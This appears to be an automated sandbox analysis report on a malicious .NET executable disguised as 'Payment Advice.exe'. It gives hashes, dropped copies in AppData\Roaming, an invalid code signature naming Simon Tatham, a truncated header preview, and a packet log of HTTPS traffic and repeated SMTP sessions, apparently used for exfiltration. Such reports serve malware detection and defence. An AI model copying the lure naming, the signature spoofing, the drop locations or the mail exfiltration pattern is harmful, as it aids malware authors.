Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...4O f.................B...".......a... ........@.. ....................................@.................................xa..S........ ...........f...6........................................................... ............... ..H............text....A... ...B.................. ..`.rsrc.... ....... ...D..............@..@.reloc...............d..............@..B.................a......H.......P...(O......A....................................................0..A....... .........%.....(......... .........%.....(.........(%........&...f.(.....s....}......}....*...0..........~......~.......o....~....%-.&~..........s....%.....(...+o.....+......E........G...........&...;.......;...+.8.....o.....s......o.....o....&...+...o........(....o......o.......+.s.......o.....o......+.+......E....................0...]...........]...........+....=...+...o........o+...s8...

C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Payment Advice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe

Download File

Process:	C:\Users\user\Desktop\Payment Advice.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	695304
Entropy (8bit):	7.966429011761553
Encrypted:	false
SSDEEP:	12288:fH7A3U2WtXkF/gAiCTLY10rcTu0Gm6NHeMdwG+q7Ln2oMIzw4CGDw92kR:UE2OSIUTE14cZ6dp3n2opw/
MD5:	F060B9400A263BEA044A7789EC1D85D9
SHA1:	3E939EA522E4356FBDC15C7E0119366A6369E0C9
SHA-256:	921ACE6C0F27813FA370B65BCAEE79824A4E31920DBDFEC7652103C60E84CD23
SHA-512:	CEDA146640E354440FFBDBE3B8DE48E4C1B7B03654687115B1E320F6C38513BFE00CC5BA5AFB5858126BC6A257630980D34FD81F26AE992077330ED30D3A39DA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...4O f.................B...".......a... ........@.. ....................................@.................................xa..S........ ...........f...6........................................................... ............... ..H............text....A... ...B.................. ..`.rsrc.... ....... ...D..............@..@.reloc...............d..............@..B.................a......H.......P...(O......A....................................................0..A....... .........%.....(......... .........%.....(.........(%........&...f.(.....s....}......}....*...0..........~......~.......o....~....%-.&~..........s....%.....(...+o.....+......E........G...........&...;.......;...+.8.....o.....s......o.....o....&...+...o........(....o......o.......+.s.......o.....o......+.+......E....................0...]...........]...........+....=...+...o........o+...s8...

C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Payment Advice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.966429011761553
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Payment Advice.exe
File size:	695'304 bytes
MD5:	f060b9400a263bea044a7789ec1d85d9
SHA1:	3e939ea522e4356fbdc15c7e0119366a6369e0c9
SHA256:	921ace6c0f27813fa370b65bcaee79824a4e31920dbdfec7652103c60e84cd23
SHA512:	ceda146640e354440ffbdbe3b8de48e4c1b7b03654687115b1e320f6c38513bfe00cc5ba5afb5858126bc6a257630980d34fd81f26ae992077330ed30d3a39da
SSDEEP:	12288:fH7A3U2WtXkF/gAiCTLY10rcTu0Gm6NHeMdwG+q7Ln2oMIzw4CGDw92kR:UE2OSIUTE14cZ6dp3n2opw/
TLSH:	94E423C5B2B4DB33C38D4D70A163860C2772D9C67611E7FE259A85BB2BF2B2055A0D63
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...4O f.................B...".......a... ........@.. ....................................@................................

File Icon


Icon Hash:	0f235999b9792317

Static PE Info

General

Entrypoint:	0x4a61ce
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66204F34 [Wed Apr 17 22:37:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/11/2018 00:00:00 08/11/2021 23:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa6178	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa8000	0x2000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xa6600	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xaa000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa41d4	0xa4200	2d1243158acca84c0b10f453a17975c4	False	0.9725238599581112	data	7.9742405595701085	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa8000	0x2000	0x2000	6655e2f191b4c0728fc517c924389d02	False	0.8511962890625	data	7.305259548618807	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xaa000	0xc	0x200	a1f6ddafbf40ea4d07a583db73112350	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xa8100	0x1834	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9917688831504197
RT_GROUP_ICON	0xa9944	0x14	data	1.05
RT_VERSION	0xa9968	0x350	data	0.4386792452830189
RT_MANIFEST	0xa9cc8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 18, 2024 18:26:01.959414959 CEST	49735	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:01.959497929 CEST	443	49735	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:01.959680080 CEST	49735	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:01.972119093 CEST	49735	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:01.972156048 CEST	443	49735	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:02.208717108 CEST	443	49735	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:02.208811998 CEST	49735	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:02.212575912 CEST	49735	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:02.212588072 CEST	443	49735	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:02.213118076 CEST	443	49735	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:02.279829979 CEST	49735	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:02.324146986 CEST	443	49735	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:02.501091957 CEST	443	49735	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:02.501244068 CEST	443	49735	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:02.501308918 CEST	49735	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:02.507363081 CEST	49735	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:04.095067024 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:04.513639927 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:04.513744116 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:05.086004019 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:05.086210012 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:05.503406048 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:05.504209995 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:05.918344975 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:05.918821096 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:06.350991964 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:06.351057053 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:06.351097107 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:06.351172924 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:06.368079901 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:06.435358047 CEST	49739	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:06.435435057 CEST	443	49739	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:06.435528994 CEST	49739	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:06.438587904 CEST	49739	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:06.438626051 CEST	443	49739	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:06.662347078 CEST	443	49739	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:06.662591934 CEST	49739	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:06.664465904 CEST	49739	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:06.664493084 CEST	443	49739	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:06.664906979 CEST	443	49739	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:06.722110033 CEST	49739	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:06.768141985 CEST	443	49739	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:06.783967972 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:06.788341045 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:06.971940041 CEST	443	49739	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:06.972084045 CEST	443	49739	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:06.972157955 CEST	49739	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:06.974370956 CEST	49739	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:07.204931974 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:07.205919027 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:07.434386015 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:07.622559071 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:07.622890949 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:07.852469921 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:07.852636099 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:08.079868078 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:08.232203960 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:08.232501030 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:08.595472097 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:08.607039928 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:08.649084091 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:08.649138927 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:08.649518013 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:09.024373055 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:09.024564028 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:09.081851006 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:09.082078934 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:09.440186024 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:09.440857887 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:09.497001886 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:09.497731924 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:09.497807026 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:09.497832060 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:09.497850895 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:09.867996931 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:09.868022919 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:09.868036032 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:09.868096113 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:09.870356083 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:09.911432028 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:09.911451101 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:09.911462069 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:09.911495924 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:10.285563946 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:10.292222023 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:10.708303928 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:10.708753109 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:10.739846945 CEST	587	49738	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:10.780294895 CEST	49738	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:11.125705004 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:11.126024961 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:11.563803911 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:11.564083099 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:11.971477032 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:12.014666080 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:12.528743982 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:12.967698097 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:13.014781952 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:14.087316036 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:14.504271984 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:14.526771069 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:14.526838064 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:14.526878119 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:14.526901960 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:14.943511009 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:14.943564892 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:14.943602085 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:14.943634033 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:15.675188065 CEST	49742	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:15.675273895 CEST	443	49742	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:15.675350904 CEST	49742	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:15.678853989 CEST	49742	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:15.678889990 CEST	443	49742	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:15.713589907 CEST	587	49740	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:15.843029022 CEST	49740	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:15.895162106 CEST	443	49742	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:15.895433903 CEST	49742	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:15.900213003 CEST	49742	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:15.900253057 CEST	443	49742	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:15.900465965 CEST	443	49742	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:16.009212017 CEST	49742	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:16.056128025 CEST	443	49742	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:16.204720974 CEST	443	49742	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:16.204761982 CEST	443	49742	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:16.204900980 CEST	49742	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:16.216689110 CEST	49742	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:16.774298906 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:17.251279116 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:17.251368999 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:17.751367092 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:17.751595974 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:18.204749107 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:18.204906940 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:18.687135935 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:18.687557936 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:19.138411045 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:19.138464928 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:19.138501883 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:19.138552904 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:19.140475988 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:19.554100037 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:19.562905073 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:20.035619020 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:20.036125898 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:20.471540928 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:20.471900940 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:20.906261921 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:20.906517029 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:21.359031916 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:21.360456944 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:21.819173098 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:21.819654942 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:22.244095087 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:22.244944096 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:22.245023012 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:22.245050907 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:22.245052099 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:22.665406942 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:22.665452003 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:22.665532112 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:22.665564060 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:23.474019051 CEST	587	49747	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:23.514702082 CEST	49747	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:23.707328081 CEST	49750	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:23.707423925 CEST	443	49750	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:23.707524061 CEST	49750	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:23.710082054 CEST	49750	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:23.710124016 CEST	443	49750	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:23.934478045 CEST	443	49750	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:23.934585094 CEST	49750	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:23.939341068 CEST	49750	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:23.939378023 CEST	443	49750	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:23.940346003 CEST	443	49750	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:23.983428955 CEST	49750	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:23.984637976 CEST	49750	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:24.032115936 CEST	443	49750	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:24.249629974 CEST	443	49750	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:24.249768972 CEST	443	49750	104.26.13.205	192.168.2.4
Apr 18, 2024 18:26:24.249898911 CEST	49750	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:24.259754896 CEST	49750	443	192.168.2.4	104.26.13.205
Apr 18, 2024 18:26:24.670759916 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:25.070580959 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:25.070714951 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:25.561213017 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:25.561459064 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:25.960481882 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:25.960668087 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:26.370327950 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:26.370841980 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:26.800082922 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:26.800240993 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:26.800290108 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:26.800483942 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:26.802839041 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:27.185410023 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:27.195375919 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:27.532994986 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:27.533335924 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:27.877345085 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:27.877979040 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:28.243654013 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:28.244298935 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:28.626977921 CEST	587	49751	94.100.26.91	192.168.2.4
Apr 18, 2024 18:26:28.627350092 CEST	49751	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:26:29.043349981 CEST	587	49751	94.100.26.91	192.168.2.4
